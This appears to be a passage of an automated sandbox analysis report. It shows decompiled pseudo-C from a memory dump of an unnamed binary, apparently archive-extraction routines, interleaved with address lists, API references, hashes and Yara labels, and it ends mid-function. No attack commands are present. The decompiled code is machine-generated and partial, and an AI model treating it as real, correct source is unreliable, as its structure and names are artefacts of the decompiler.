						 *(_t566 - 0x40) = _t350;
						 *((short*)(_t478 + _t350 * 2)) = 0;
						E01235C60(_t566 - 0xdc);
						E012328E9(_t566 - 0xb4);
						 *(_t566 - 4) = 0xb;
						 *(_t566 - 0xbc) = 0x10;
						E01232A8C(_t566 - 0xb4, _t566 - 0x44);
						_push( *(_t566 + 0x18));
						_push(_t554);
						_push( *((intOrPtr*)(_t566 + 0x10)));
						_push( *((intOrPtr*)(_t566 + 0xc)));
						_push( *((intOrPtr*)(_t566 + 8)));
						_push( *((intOrPtr*)(_t566 - 0x2c)));
						_t355 = E01247F7E(_t566 - 0xdc, _t558, __eflags);
						__eflags = _t355;
						 *(_t566 - 0x28) = _t355;
						_push( *((intOrPtr*)(_t566 - 0xb4)));
						if(_t355 != 0) {
							_t347 = E01231ABD(_t355);
							_t560 =  *(_t566 - 0x28);
							_t478 =  *((intOrPtr*)(_t566 - 0x44));
							L98:
							E01231ABD(_t347, _t478);
							 *(_t566 - 4) =  *(_t566 - 4) | 0xffffffff;
							E01248B2E(0, _t566 - 0x18);
							goto L112;
						}
						_t356 = E01231ABD(_t355);
						 *(_t566 - 4) = 9;
						E01231ABD(_t356,  *((intOrPtr*)(_t566 - 0x44)));
						 *(_t566 + 0x14) =  *(_t566 + 0x14) + 1;
						__eflags =  *(_t566 + 0x14) -  *(_t566 - 0x14);
						if(__eflags < 0) {
							continue;
						}
						goto L96;
					}
					_t560 = 0x80004005;
					goto L98;
				} else {
					 *((intOrPtr*)(_t566 - 0x38)) = 0;
					 *((intOrPtr*)(_t566 - 0x34)) = 0;
					 *((intOrPtr*)(_t566 - 0x30)) = 0;
					_t364 =  *(_t558 + 0x20);
					 *(_t566 - 4) = 0;
					 *(_t566 - 0x20) = 0;
					if( *(_t558 + 0x20) <= 0) {
						L48:
						 *(_t566 - 0x20) = 0;
						if( *((intOrPtr*)(_t558 + 0x14)) <= 0) {
							L66:
							E01231ABD(_t364,  *((intOrPtr*)(_t566 - 0x38)));
							L110:
							_t319 = 0;
							goto L113;
						} else {
							goto L49;
						}
						do {
							L49:
							_t366 =  *(_t566 - 0x20);
							if(_t366 >=  *((intOrPtr*)(_t566 - 0x34)) ||  *((intOrPtr*)(_t366 +  *((intOrPtr*)(_t566 - 0x38)))) != 0) {
								_t561 =  *((intOrPtr*)( *((intOrPtr*)( *(_t566 - 0x1c) + 0x10)) +  *(_t566 - 0x20) * 4));
								_t556 = _t561 + 4;
								E0123288E(_t566 - 0x18,  *((intOrPtr*)(_t566 + 0xc)), _t561 + 4);
								 *(_t566 - 4) = 6;
								E01235C60(_t566 - 0x7c);
								E012328E9(_t566 - 0x54);
								 *(_t566 - 4) = 7;
								if( *((intOrPtr*)( *((intOrPtr*)(_t566 + 0xc)) + 4)) == 0) {
									if( *((intOrPtr*)(_t561 + 8)) != 0) {
										__eflags = E01233E8C( *_t556);
										if(__eflags != 0) {
											E01231089(_t566 - 0x18, 0x5c);
										}
									} else {
										E012329EA(_t566 - 0x18, 0x5c);
									}
								}
								if( *((intOrPtr*)( *((intOrPtr*)(_t566 + 0xc)) + 4)) != 0) {
									L61:
									_t374 = E0124820A( *((intOrPtr*)(_t566 + 0xc)), _t556, _t599);
									_t600 = _t374;
									if(_t374 == 0) {
										_t375 = E01235D00(_t566 - 0x7c, __eflags,  *((intOrPtr*)(_t566 - 0x18)));
										__eflags = _t375;
										if(_t375 != 0) {
											__eflags =  *(_t566 - 0x5c) >> 0x00000004 & 0x00000001;
											if(__eflags != 0) {
												goto L63;
											}
											_t381 = E01246F2A( *(_t566 + 0x14), _t566 - 0x18, 0x80004005);
											L72:
											__eflags = _t381;
											if(_t381 != 0) {
												_t560 = _t381;
												goto L75;
											}
											goto L64;
										}
										_t381 = E01233C62(_t561);
										__eflags = _t381;
										if(_t381 == 0) {
											goto L64;
										}
										_t381 = E01246F4F( *(_t566 + 0x14), _t566 - 0x18);
										goto L72;
									}
									goto L62;
								} else {
									_t599 =  *((intOrPtr*)(_t561 + 8));
									if( *((intOrPtr*)(_t561 + 8)) == 0) {
										L62:
										 *(_t566 - 0x5c) = 0x10;
										E01232A8C(_t566 - 0x54, _t556);
										L63:
										 *((intOrPtr*)(_t566 - 0x88)) = 0;
										 *((intOrPtr*)(_t566 - 0x84)) = 0;
										 *((intOrPtr*)(_t566 - 0x80)) = 0;
										_push(0);
										_push( *(_t566 + 0x14));
										 *(_t566 - 4) = 8;
										_push(_t566 - 0x88);
										_push( *((intOrPtr*)(_t566 + 0xc)));
										_push(_t566 - 0x54);
										_push( *((intOrPtr*)(_t566 + 8)));
										_t560 = E01247CF7(_t561,  *((intOrPtr*)(_t566 - 0x2c)), _t600);
										 *(_t566 - 4) = 7;
										_t381 = E01248B2E(0, _t566 - 0x88);
										if(_t560 != 0) {
											L75:
											_t382 = E01231ABD(_t381,  *((intOrPtr*)(_t566 - 0x54)));
											_push( *((intOrPtr*)(_t566 - 0x18)));
											L76:
											E01231ABD(E01231ABD(_t382),  *((intOrPtr*)(_t566 - 0x38)));
											L112:
											_t319 = _t560;
											goto L113;
										}
										L64:
										_t385 = E01231ABD(_t381,  *((intOrPtr*)(_t566 - 0x54)));
										 *(_t566 - 4) = 0;
										E01231ABD(_t385,  *((intOrPtr*)(_t566 - 0x18)));
										goto L65;
									}
									goto L61;
								}
							}
							L65:
							 *(_t566 - 0x20) =  *(_t566 - 0x20) + 1;
							_t364 =  *(_t566 - 0x1c);
						} while ( *(_t566 - 0x20) <  *((intOrPtr*)( *(_t566 - 0x1c) + 0x14)));
						goto L66;
					} else {
						goto L8;
					}
					do {
						L8:
						_t562 =  *( *((intOrPtr*)( *(_t566 - 0x1c) + 0x1c)) +  *(_t566 - 0x20) * 4);
						 *(_t566 - 0x24) =  *( *_t562);
						E0123288E(_t566 - 0x18,  *((intOrPtr*)(_t566 + 0xc)),  *( *_t562));
						 *(_t566 - 4) = 1;
						 *(_t566 + 0x1b) = 1;
						if( *((intOrPtr*)( *((intOrPtr*)(_t566 + 0xc)) + 4)) == 0 && _t562[3] == 0) {
							_t443 =  *(_t566 - 0x24);
							_t581 =  *((intOrPtr*)(_t443 + 4));
							if( *((intOrPtr*)(_t443 + 4)) != 0) {
								_t444 = E01247CCF(_t562);
								__eflags = _t444;
								if(_t444 != 0) {
									 *(_t566 + 0x1b) = 0;
									E01231089(_t566 - 0x18, 0x5c);
								}
							} else {
								 *(_t566 + 0x1b) = 0;
								E012329EA(_t566 - 0x18, 0x5c);
							}
						}
						E01235C60(_t566 - 0x7c);
						E012328E9(_t566 - 0x54);
						 *(_t566 - 4) = 2;
						if(E0124820A( *((intOrPtr*)(_t566 + 0xc)),  *(_t566 - 0x24), _t581) == 0) {
							_t402 = E01235D00(_t566 - 0x7c, __eflags,  *((intOrPtr*)(_t566 - 0x18))); // executed
							__eflags = _t402;
							if(_t402 != 0) {
								goto L16;
							}
							_t412 = E01246F4F(_t554, _t566 - 0x18);
							goto L21;
						} else {
							 *(_t566 - 0x5c) = 0x10;
							E01232A8C(_t566 - 0x54,  *(_t566 - 0x24));
							L16:
							_t405 =  *(_t566 - 0x5c) >> 0x00000004 & 0x00000001;
							 *(_t566 + 0x13) = _t405;
							if(_t405 == 0) {
								__eflags = _t562[3];
								if(_t562[3] != 0) {
									L25:
									E0125801B(_t566 - 0x88);
									_push(_t566 - 0x54);
									 *(_t566 - 4) = 3;
									_t411 = E01233D85( *(_t566 - 0x1c), 0, _t566 - 0x88, E0123150C(_t566 - 0x88) & 0xffffff00 |  *(_t566 + 0x13) == 0x00000000);
									 *(_t566 - 4) = 2;
									_t521 = _t566 - 0x88;
									if(_t411 != 0) {
										L45:
										_t412 = E01248B2E(0, _t521);
										goto L46;
									}
									E01248B2E(0, _t521);
									 *(_t566 - 0x28) =  *(_t566 - 0x28) | 0xffffffff;
									if( *((intOrPtr*)(_t554 + 0x95)) == 0) {
										L28:
										_push(_t566 - 0x7c);
										_push( *(_t566 - 0x28));
										_push( *((intOrPtr*)(_t566 + 8)));
										_push( *((intOrPtr*)(_t566 - 0x2c)));
										E01246DFC(_t554, _t588);
										_t563 =  *((intOrPtr*)( *((intOrPtr*)(_t554 + 0x24)) +  *(_t554 + 0x28) * 4 - 4));
										_t412 = E01247314(_t554, _t563, _t566 - 0x7c,  *((intOrPtr*)(_t566 + 0xc)));
										if(_t412 != 0) {
											L54:
											_t560 = _t412;
											L56:
											_t382 = E01231ABD(_t412,  *((intOrPtr*)(_t566 - 0x54)));
											_push( *((intOrPtr*)(_t566 - 0x18)));
											goto L76;
										}
										if( *((intOrPtr*)(_t563 + 0x30)) == 0) {
											__eflags =  *(_t566 + 0x1b);
											if( *(_t566 + 0x1b) == 0) {
												L37:
												__eflags =  *(_t566 + 0x13);
												if( *(_t566 + 0x13) == 0) {
													goto L46;
												}
												 *((intOrPtr*)(_t566 - 0x44)) = 0;
												 *(_t566 - 0x40) = 0;
												 *((intOrPtr*)(_t566 - 0x3c)) = 0;
												 *(_t566 - 4) = 5;
												_t420 = E01233AA1( *(_t566 - 0x1c),  *(_t566 - 0x24));
												_t564 = _t420;
												__eflags = _t564;
												if(_t564 < 0) {
													_push( *(_t566 - 0x24));
													_t565 =  *(_t566 - 0x1c);
													E0123150C(_t566 - 0x44);
													L44:
													_push(1);
													_push(_t554);
													_push(_t566 - 0x44);
													_push( *((intOrPtr*)(_t566 + 0xc)));
													_push(_t566 - 0x54);
													_push( *((intOrPtr*)(_t566 + 8)));
													_t560 = E01247CF7(_t565,  *((intOrPtr*)(_t566 - 0x2c)), __eflags);
													 *(_t566 - 4) = 2;
													__eflags = _t560;
													_t521 = _t566 - 0x44;
													if(_t560 != 0) {
														L55:
														_t412 = E01248B2E(0, _t521);
														goto L56;
													}
													goto L45;
												}
												__eflags =  *((intOrPtr*)(_t566 - 0x34)) - _t564;
												if(__eflags > 0) {
													L42:
													 *((char*)(_t564 +  *((intOrPtr*)(_t566 - 0x38)))) = 0;
													_t565 =  *( *((intOrPtr*)( *(_t566 - 0x1c) + 0x10)) + _t564 * 4);
													goto L44;
												}
												_t429 = _t420 -  *((intOrPtr*)(_t566 - 0x34)) + 1;
												__eflags = _t429;
												 *(_t566 + 0x18) = _t429;
												do {
													E01240E6F(_t566 - 0x38);
													 *((char*)( *((intOrPtr*)(_t566 - 0x34)) +  *((intOrPtr*)(_t566 - 0x38)))) = 1;
													 *((intOrPtr*)(_t566 - 0x34)) =  *((intOrPtr*)(_t566 - 0x34)) + 1;
													_t119 = _t566 + 0x18;
													 *_t119 =  *(_t566 + 0x18) - 1;
													__eflags =  *_t119;
												} while (__eflags != 0);
												goto L42;
											}
											__eflags =  *(_t554 + 0x31);
											if( *(_t554 + 0x31) == 0) {
												goto L37;
											}
											 *((intOrPtr*)(_t566 - 0x94)) = 0;
											 *((intOrPtr*)(_t566 - 0x90)) = 0;
											 *((intOrPtr*)(_t566 - 0x8c)) = 0;
											_push(_t566 - 0x54);
											 *(_t566 - 4) = 4;
											E0123150C(_t566 - 0x94);
											_push(_t554);
											_push(1);
											_push(_t566 - 0x94);
											_push(_t566 - 0x18);
											_push( *((intOrPtr*)(_t566 + 8)));
											_push( *((intOrPtr*)(_t566 - 0x2c)));
											_t560 = E01247D91(_t566 - 0x7c,  *(_t566 - 0x1c), __eflags);
											 *(_t566 - 4) = 2;
											__eflags = _t560;
											_t521 = _t566 - 0x94;
											if(_t560 != 0) {
												goto L55;
											}
											_t412 = E01248B2E(0, _t521);
											goto L37;
										}
										_t437 =  *((intOrPtr*)(_t566 - 0x7c));
										if( *((intOrPtr*)(_t566 - 0x58)) == 0) {
											 *((intOrPtr*)(_t554 + 0x50)) =  *((intOrPtr*)(_t554 + 0x50)) - _t437;
											_t412 =  *(_t566 - 0x78);
											asm("sbb [edi+0x54], eax");
										} else {
											 *((intOrPtr*)(_t554 + 0x58)) =  *((intOrPtr*)(_t554 + 0x58)) - _t437;
											_t412 =  *(_t566 - 0x78);
											asm("sbb [edi+0x5c], eax");
										}
										goto L46;
									}
									_t412 = E01247202(_t554, _t566 - 0x18, _t566 - 0x28);
									_t588 = _t412;
									if(_t412 != 0) {
										goto L54;
									}
									goto L28;
								}
								L24:
								_t412 = E01246F2A(_t554, _t566 - 0x18, 0x80004005);
								L21:
								__eflags = _t412;
								if(_t412 != 0) {
									goto L54;
								}
								goto L46;
							}
							if(_t562[3] == 0) {
								goto L24;
							}
							goto L25;
						}
						L46:
						_t413 = E01231ABD(_t412,  *((intOrPtr*)(_t566 - 0x54)));
						 *(_t566 - 4) = 0;
						E01231ABD(_t413,  *((intOrPtr*)(_t566 - 0x18)));
						 *(_t566 - 0x20) =  *(_t566 - 0x20) + 1;
						_t364 =  *(_t566 - 0x1c);
					} while ( *(_t566 - 0x20) <  *((intOrPtr*)(_t364 + 0x20)));
					_t558 = _t364;
					goto L48;
				}
			}

0x012474ec
0x012474fb
0x01247501
0x01247504
0x01247507
0x01247512
0x01247512
0x01247516
0x0124751e
0x01247525
0x01247cbe
0x01247cc4
0x01247ccc
0x01247ccc
0x01247531
0x01247a08
0x01247a0b
0x01247a0e
0x01247ba0
0x01247ba0
0x01247ba0
0x01247ba0
0x01247bad
0x01247bb4
0x01247bc2
0x01247bc9
0x01247bd1
0x01247bd4
0x01247bdc
0x01247be1
0x01247bea
0x01247bef
0x01247bf3
0x01247bf8
0x01247bfa
0x00000000
0x00000000
0x01247bfc
0x01247bff
0x01247c76
0x01247c85
0x01247c91
0x00000000
0x01247c91
0x01247c01
0x01247c07
0x01247c25
0x01247c25
0x01247c2d
0x01247c2e
0x01247c31
0x01247c34
0x01247c37
0x01247c3a
0x01247c3f
0x01247c41
0x01247c9a
0x01247c9d
0x01247caa
0x01247cb7
0x00000000
0x01247cb7
0x01247c46
0x01247c4a
0x01247c4f
0x01247c56
0x01247c5e
0x00000000
0x01247c5e
0x01247c13
0x01247c15
0x00000000
0x00000000
0x01247c1c
0x01247c21
0x01247c23
0x00000000
0x00000000
0x00000000
0x01247c23
0x01247c6d
0x01247c72
0x01247c74
0x00000000
0x00000000
0x00000000
0x01247c74
0x01247a17
0x01247a19
0x00000000
0x00000000
0x01247a1f
0x01247a22
0x01247a28
0x01247a2b
0x01247a2e
0x01247a31
0x00000000
0x00000000
0x01247a35
0x01247a37
0x01247a3a
0x01247a3e
0x00000000
0x00000000
0x01247a40
0x01247a42
0x01247a47
0x00000000
0x00000000
0x01247a49
0x01247a4c
0x01247a58
0x01247a58
0x01247a5d
0x01247a5f
0x01247a72
0x01247a72
0x01247a78
0x01247a7b
0x00000000
0x00000000
0x00000000
0x01247a7b
0x01247a64
0x01247a66
0x01247a6a
0x00000000
0x00000000
0x01247a6c
0x01247a70
0x00000000
0x00000000
0x00000000
0x01247a70
0x01247a4e
0x01247a51
0x00000000
0x00000000
0x01247a53
0x01247a56
0x00000000
0x00000000
0x00000000
0x01247a56
0x01247a80
0x01247a83
0x00000000
0x00000000
0x01247a89
0x01247a8c
0x01247a8f
0x01247a95
0x01247a9c
0x01247aa1
0x01247aa4
0x01247aa7
0x01247b64
0x01247b64
0x01247b6b
0x00000000
0x00000000
0x00000000
0x00000000
0x01247aad
0x01247aad
0x01247ab9
0x01247abe
0x01247ac1
0x01247ac4
0x01247ac7
0x01247acb
0x00000000
0x00000000
0x01247ad1
0x01247ad7
0x00000000
0x00000000
0x01247add
0x01247ade
0x01247ae1
0x01247aeb
0x01247af6
0x01247b05
0x01247b09
0x01247b13
0x01247b20
0x01247b23
0x01247b24
0x01247b27
0x01247b2a
0x01247b2d
0x01247b30
0x01247b35
0x01247b37
0x01247b3a
0x01247b40
0x01247b75
0x01247b7a
0x01247b7e
0x01247b81
0x01247b82
0x01247b87
0x01247b8f
0x00000000
0x01247b8f
0x01247b42
0x01247b4a
0x01247b4e
0x01247b53
0x01247b59
0x01247b5e
0x00000000
0x00000000
0x00000000
0x01247b5e
0x01247b99
0x00000000
0x0124754f
0x0124754f
0x01247552
0x01247555
0x01247558
0x0124755b
0x01247560
0x01247563
0x0124784d
0x01247850
0x01247853
0x01247988
0x0124798b
0x01247c96
0x01247c96
0x00000000
0x00000000
0x00000000
0x00000000
0x01247859
0x01247859
0x01247859
0x0124785f
0x01247879
0x0124787f
0x01247883
0x0124788b
0x0124788f
0x01247897
0x0124789f
0x012478a6
0x012478ab
0x012478d9
0x012478db
0x012478e2
0x012478e2
0x012478ad
0x012478b2
0x012478b2
0x012478ab
0x012478ed
0x012478f4
0x012478f9
0x012478fe
0x01247900
0x0124799c
0x012479a1
0x012479a3
0x012479c4
0x012479c6
0x00000000
0x00000000
0x012479d8
0x012479dd
0x012479dd
0x012479df
0x012479e6
0x00000000
0x012479e6
0x00000000
0x012479e1
0x012479a7
0x012479ac
0x012479ae
0x00000000
0x00000000
0x012479b7
0x00000000
0x012479b7
0x00000000
0x012478ef
0x012478ef
0x012478f2
0x01247906
0x0124790a
0x01247911
0x01247916
0x01247916
0x0124791c
0x01247922
0x01247925
0x0124792c
0x01247934
0x01247938
0x0124793c
0x0124793f
0x01247940
0x0124794e
0x01247950
0x01247954
0x0124795b
0x012479e8
0x012479eb
0x012479f0
0x012479f3
0x012479fb
0x01247cbc
0x01247cbc
0x00000000
0x01247cbc
0x01247961
0x01247964
0x0124796c
0x0124796f
0x00000000
0x01247975
0x00000000
0x012478f2
0x012478ed
0x01247976
0x01247976
0x01247979
0x0124797f
0x00000000
0x00000000
0x00000000
0x00000000
0x01247569
0x01247569
0x01247575
0x01247580
0x01247583
0x0124758b
0x0124758f
0x01247596
0x0124759d
0x012475a0
0x012475a3
0x012475b6
0x012475bb
0x012475bd
0x012475c4
0x012475c7
0x012475c7
0x012475a5
0x012475aa
0x012475ad
0x012475ad
0x012475a3
0x012475cf
0x012475d7
0x012475e2
0x012475ed
0x0124761b
0x01247620
0x01247622
0x00000000
0x00000000
0x0124762a
0x00000000
0x012475ef
0x012475f5
0x012475fc
0x01247601
0x01247607
0x01247609
0x0124760c
0x0124763c
0x0124763f
0x01247653
0x01247659
0x01247667
0x01247668
0x01247683
0x0124768a
0x0124768e
0x01247694
0x0124781f
0x0124781f
0x00000000
0x0124781f
0x0124769a
0x0124769f
0x012476a9
0x012476c2
0x012476c7
0x012476c8
0x012476cb
0x012476ce
0x012476d1
0x012476df
0x012476ea
0x012476f1
0x012478b9
0x012478b9
0x012478c2
0x012478c5
0x012478ca
0x00000000
0x012478ca
0x012476fa
0x01247720
0x01247723
0x01247787
0x01247787
0x0124778a
0x00000000
0x00000000
0x01247790
0x01247793
0x01247796
0x0124779f
0x012477a3
0x012477a8
0x012477aa
0x012477ac
0x012477e5
0x012477e8
0x012477ee
0x012477f3
0x012477f3
0x012477f8
0x012477f9
0x012477fa
0x01247805
0x01247806
0x0124780e
0x01247810
0x01247814
0x01247816
0x01247819
0x012478bd
0x012478bd
0x00000000
0x012478bd
0x00000000
0x01247819
0x012477ae
0x012477b1
0x012477d4
0x012477d7
0x012477e0
0x00000000
0x012477e0
0x012477b6
0x012477b6
0x012477b7
0x012477ba
0x012477bd
0x012477c8
0x012477cc
0x012477cf
0x012477cf
0x012477cf
0x012477cf
0x00000000
0x012477ba
0x01247725
0x01247728
0x00000000
0x00000000
0x0124772a
0x01247730
0x01247736
0x01247745
0x01247746
0x0124774a
0x01247758
0x01247759
0x0124775b
0x0124775f
0x01247763
0x01247766
0x0124776e
0x01247770
0x01247774
0x01247776
0x0124777c
0x00000000
0x00000000
0x01247782
0x00000000
0x01247782
0x012476ff
0x01247702
0x01247712
0x01247715
0x01247718
0x01247704
0x01247704
0x01247707
0x0124770a
0x0124770a
0x00000000
0x01247702
0x012476b5
0x012476ba
0x012476bc
0x00000000
0x00000000
0x00000000
0x012476bc
0x01247641
0x0124764c
0x0124762f
0x0124762f
0x01247631
0x00000000
0x00000000
0x00000000
0x01247637
0x01247611
0x00000000
0x00000000
0x00000000
0x01247613
0x01247824
0x01247827
0x0124782f
0x01247832
0x01247837
0x0124783a
0x01247842
0x0124784b
0x00000000
0x0124784b

APIs

__EH_prolog.LIBCMT ref: 012474EC

Part of subcall function 01235D00: __EH_prolog.LIBCMT ref: 01235D05

Part of subcall function 01247F7E: __EH_prolog.LIBCMT ref: 01247F83

Part of subcall function 01231ABD: free.MSVCRT(00000000,0124C91D,00000001,00000001,?,?,012310EB,?,00000000), ref: 01231AC1

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog$free
String ID:
API String ID: 2654054672-0
Opcode ID: f1d84a4cc4773f0665a7826526c051ec371f977a7d0e502fb808ceadf5c69c7b
Instruction ID: 3c417b73cc35d5a2b7eda0cf04f9a0df4757170102a873a38053bb0dd9b26199
Opcode Fuzzy Hash: f1d84a4cc4773f0665a7826526c051ec371f977a7d0e502fb808ceadf5c69c7b
Instruction Fuzzy Hash: AC428070D2024ADFDF29EFA4C980AEDBBB1FF54304F14805AEA6667251DB309A45CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0123D8E1 Relevance: 1.6, APIs: 1, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0123D8E1(intOrPtr __ecx, void* __eflags) {
				intOrPtr* _t65;
				intOrPtr* _t66;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr _t71;
				char _t73;
				intOrPtr _t86;
				intOrPtr _t93;
				void* _t95;
				void* _t98;

				_t98 = __eflags;
				E012639E0(E01264D3D, _t95);
				_push(__ecx);
				_push(__ecx);
				_t93 = __ecx;
				 *((intOrPtr*)(_t95 - 0x10)) = __ecx;
				 *((intOrPtr*)(__ecx)) = 0x1268e88;
				 *((intOrPtr*)(__ecx + 4)) = 0x1268e70;
				 *((intOrPtr*)(__ecx + 8)) = 0x1268e60;
				 *((intOrPtr*)(__ecx + 0xc)) = 0x1268e50;
				 *((intOrPtr*)(__ecx + 0x10)) = 0;
				 *((intOrPtr*)(_t95 - 4)) = 0;
				 *((intOrPtr*)(__ecx + 0x14)) = 0;
				E0123DAAC(__ecx + 0x18);
				 *((intOrPtr*)(__ecx + 0x28)) = 0;
				 *((intOrPtr*)(__ecx + 0x2c)) = 0;
				 *((intOrPtr*)(__ecx + 0x30)) = 0;
				 *((intOrPtr*)(__ecx + 0x34)) = 0;
				 *((intOrPtr*)(__ecx + 0x38)) = 0;
				 *((char*)(_t95 - 4)) = 5;
				E012328E9(__ecx + 0x3c);
				 *((char*)(_t95 - 4)) = 6;
				E012328E9(__ecx + 0x48);
				 *((intOrPtr*)(__ecx + 0x60)) = 0;
				 *((intOrPtr*)(__ecx + 0x68)) = 0;
				 *((char*)(_t95 - 4)) = 9;
				E0123DA55(__ecx + 0x6c, _t98);
				 *((char*)(_t95 - 4)) = 0xa;
				E012328E9(__ecx + 0xac);
				 *((char*)(__ecx + 0xc2)) = 1;
				 *((char*)(__ecx + 0xc3)) = 1;
				 *((char*)(__ecx + 0xc4)) = 1;
				 *((intOrPtr*)(__ecx + 0x100)) = 0;
				 *((intOrPtr*)(__ecx + 0x108)) = 0;
				_t65 = __ecx + 0x110;
				 *_t65 = 0;
				 *((intOrPtr*)(_t65 + 4)) = 0;
				 *((intOrPtr*)(_t65 + 8)) = 0;
				_t90 = __ecx + 0x128;
				 *((char*)(__ecx + 0x126)) = 0;
				 *((intOrPtr*)(__ecx + 0x128)) = 0;
				_t66 = __ecx + 0x144;
				 *_t66 = 0;
				 *((intOrPtr*)(_t66 + 4)) = 0;
				 *((intOrPtr*)(_t66 + 8)) = 0;
				_t67 = __ecx + 0x180;
				 *_t67 = 0;
				 *((intOrPtr*)(_t67 + 4)) = 0;
				 *((intOrPtr*)(_t67 + 8)) = 0;
				 *((intOrPtr*)(_t67 + 0xc)) = 0;
				 *((intOrPtr*)(_t67 + 0x10)) = 0;
				 *((intOrPtr*)(_t67 + 0x14)) = 0;
				 *((char*)(_t95 - 4)) = 0x11;
				E012328E9(__ecx + 0x198);
				_t69 = __ecx + 0x1a4;
				 *_t69 = 0;
				 *((intOrPtr*)(_t69 + 4)) = 0;
				 *((intOrPtr*)(_t69 + 8)) = 0;
				_push(0x38);
				 *((char*)(_t95 - 4)) = 0x13;
				 *((intOrPtr*)(__ecx)) = 0x1268e30;
				 *((intOrPtr*)(__ecx + 4)) = 0x1268e18;
				 *((intOrPtr*)(__ecx + 8)) = 0x1268e08;
				 *((intOrPtr*)(__ecx + 0xc)) = 0x1268df8;
				_t86 = E01231A96();
				 *((intOrPtr*)(_t95 - 0x14)) = _t86;
				_t99 = _t86;
				 *((char*)(_t95 - 4)) = 0x14;
				if(_t86 == 0) {
					_t71 = 0;
					__eflags = 0;
				} else {
					_t71 = E0123AC3D(_t86);
				}
				 *((char*)(_t95 - 4)) = 0x13;
				 *((intOrPtr*)(_t93 + 0x154)) = _t71;
				E01240E48(_t90, _t71); // executed
				_t73 = E0123D4F9(_t99); // executed
				 *((char*)(_t93 + 0x150)) = _t73;
				 *[fs:0x0] =  *((intOrPtr*)(_t95 - 0xc));
				return _t93;
			}

0x0123d8e1
0x0123d8e6
0x0123d8eb
0x0123d8ec
0x0123d8ef
0x0123d8f4
0x0123d8f7
0x0123d8fd
0x0123d904
0x0123d90b
0x0123d912
0x0123d918
0x0123d91b
0x0123d91e
0x0123d923
0x0123d926
0x0123d929
0x0123d92c
0x0123d92f
0x0123d935
0x0123d939
0x0123d941
0x0123d945
0x0123d94a
0x0123d94d
0x0123d953
0x0123d957
0x0123d962
0x0123d966
0x0123d96b
0x0123d972
0x0123d979
0x0123d980
0x0123d986
0x0123d98c
0x0123d992
0x0123d994
0x0123d997
0x0123d99a
0x0123d9a0
0x0123d9a6
0x0123d9a8
0x0123d9ae
0x0123d9b0
0x0123d9b3
0x0123d9b6
0x0123d9bc
0x0123d9be
0x0123d9c1
0x0123d9c4
0x0123d9c7
0x0123d9ca
0x0123d9d3
0x0123d9d7
0x0123d9dc
0x0123d9e2
0x0123d9e4
0x0123d9e7
0x0123d9ea
0x0123d9ec
0x0123d9f0
0x0123d9f6
0x0123d9fd
0x0123da04
0x0123da11
0x0123da13
0x0123da16
0x0123da18
0x0123da1c
0x0123da25
0x0123da25
0x0123da1e
0x0123da1e
0x0123da1e
0x0123da2a
0x0123da2e
0x0123da34
0x0123da39
0x0123da41
0x0123da4c
0x0123da54

APIs

__EH_prolog.LIBCMT ref: 0123D8E6

Part of subcall function 0123DA55: __EH_prolog.LIBCMT ref: 0123DA5A

Part of subcall function 01231A96: malloc.MSVCRT ref: 01231A9C
Part of subcall function 01231A96: _CxxThrowException.MSVCRT(?,0126D020), ref: 01231AB6

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog$ExceptionThrowmalloc
String ID:
API String ID: 3744649731-0
Opcode ID: e671758f2e0659754777b99d022c3542cc4cc92151f05f9c4b6712b65111a68f
Instruction ID: 045c4c317c0c618c9994dc1e4f4b7b5055c6c3e563c46b34b81932562db9f40f
Opcode Fuzzy Hash: e671758f2e0659754777b99d022c3542cc4cc92151f05f9c4b6712b65111a68f
Instruction Fuzzy Hash: 2F4126B0811744CFD325DFAAC5846DAFBF4BF69304F9488AED09A87751D7B0A648CB21

Uniqueness

Uniqueness Score: -1.00%

Function 0125FE07 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E0125FE07(intOrPtr __ecx) {
				intOrPtr* _t67;
				char* _t69;
				char* _t70;
				char* _t71;
				char* _t72;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr _t95;
				void* _t100;

				E012639E0(0x126768b, _t100);
				_push(__ecx);
				_push(__ecx);
				 *((intOrPtr*)(_t100 - 0x14)) = __ecx;
				_t94 = __ecx + 0xc;
				 *((char*)(__ecx + 1)) = 0;
				 *((char*)(__ecx + 2)) = 0;
				 *((char*)(__ecx + 6)) = 0;
				 *((char*)(__ecx + 7)) = 0;
				 *((intOrPtr*)(_t100 - 0x10)) = __ecx + 0xc;
				E0125801B(__ecx + 0xc);
				 *((intOrPtr*)(_t100 - 4)) = 0;
				E0125801B(_t94 + 0xc);
				_t95 = 1;
				 *((intOrPtr*)(_t100 - 4)) = _t95;
				E012328E9(__ecx + 0x28);
				 *((char*)(_t100 - 4)) = 2;
				E012328E9(__ecx + 0x38);
				 *((intOrPtr*)(__ecx + 0x48)) = 0;
				 *((intOrPtr*)(__ecx + 0x4c)) = 0;
				 *((intOrPtr*)(__ecx + 0x50)) = 0;
				 *((char*)(_t100 - 4)) = 4;
				 *((intOrPtr*)(_t100 - 0x10)) = __ecx + 0x58;
				E0125801B(__ecx + 0x58);
				 *((char*)(_t100 - 4)) = 5;
				E0125801B( *((intOrPtr*)(_t100 - 0x10)) + 0xc);
				 *((char*)(_t100 - 4)) = 6;
				E012328E9(__ecx + 0x70);
				_t67 = __ecx + 0x7c;
